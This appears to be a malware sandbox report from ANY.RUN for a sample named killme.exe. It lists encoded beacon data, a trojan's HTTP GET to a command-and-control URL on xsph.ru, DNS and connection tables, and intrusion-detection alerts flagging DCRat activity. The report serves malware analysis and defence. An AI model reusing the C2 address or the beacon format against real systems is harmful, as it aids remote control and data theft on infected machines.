JUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSD50dJpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQGMxUWNjFGN1MjZ2IWNxQjZhRmMmJTNwQjY3MDNyMTMiwiI4EDZ1EWN5AzYxkjM3gjYxIWMhhTMjVWMzYTM4gTZkhTYmdTNldzNmJiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W
unknown
text
104 b
unknown
2440
spoolsv.exe
GET
200
141.8.192.193:80
http://a0916433.xsph.ru/167688ac.php?H1xMrvZ5TpJpyfKsNVhwLQTqmzDwx=4Tm0&xqeGU=LcEvwB9kfdYY0s0iGj1rnHPv0C&ZXBtPN8AyO50yDLRlf4wIQPj4OmKEN=4tEkNdtJL1s&3e55dca66705f5956239bd9b437ba817=QZxkTO3EmY1YWNwcDNkVzNmBzMwADOjBDM1QzNmlTY5QjN4MDN1gzYwkDOwEzN3QzNxgDOzQjM&e12a62e25d56ee324f7298b2ee53e93b=AMhVjYwgTM2Y2NhJDNxUzMjZjNwUjMiR2YyUmM2EjM0ImMmhzY0EWM&ae92ade0c9d83e6854d5730c4f752f34=d1nI0IDM3YTOllTOkdTNiZWZ4cDNyYWY4I2YyEGMiRzY5ETZxUWYmZDZ4IiOiYzN5IWNzImZkRGMhZ2YhJjNlRjZ2AzNihDOzkjYlBTOiwiI1IzMxczM0gTNyYWMwADNwgjNxEGNiJWZjNTN3cDNhVWNjZDNyMWMiJiOiUWZyUWN1AjY4ADN4ITZmJGNygjZ3ImNlZTNxADM5kTMis3W&4ece83265ab76456ee6b0b2fa2a12baf=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
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2440
spoolsv.exe
141.8.192.193:80
a0916433.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
a0916433.xsph.ru
  • 141.8.192.193
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
2440
spoolsv.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
2440
spoolsv.exe
Potentially Bad Traffic
ET HUNTING Observed POST to xsph .ru Domain
5 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
killme.exe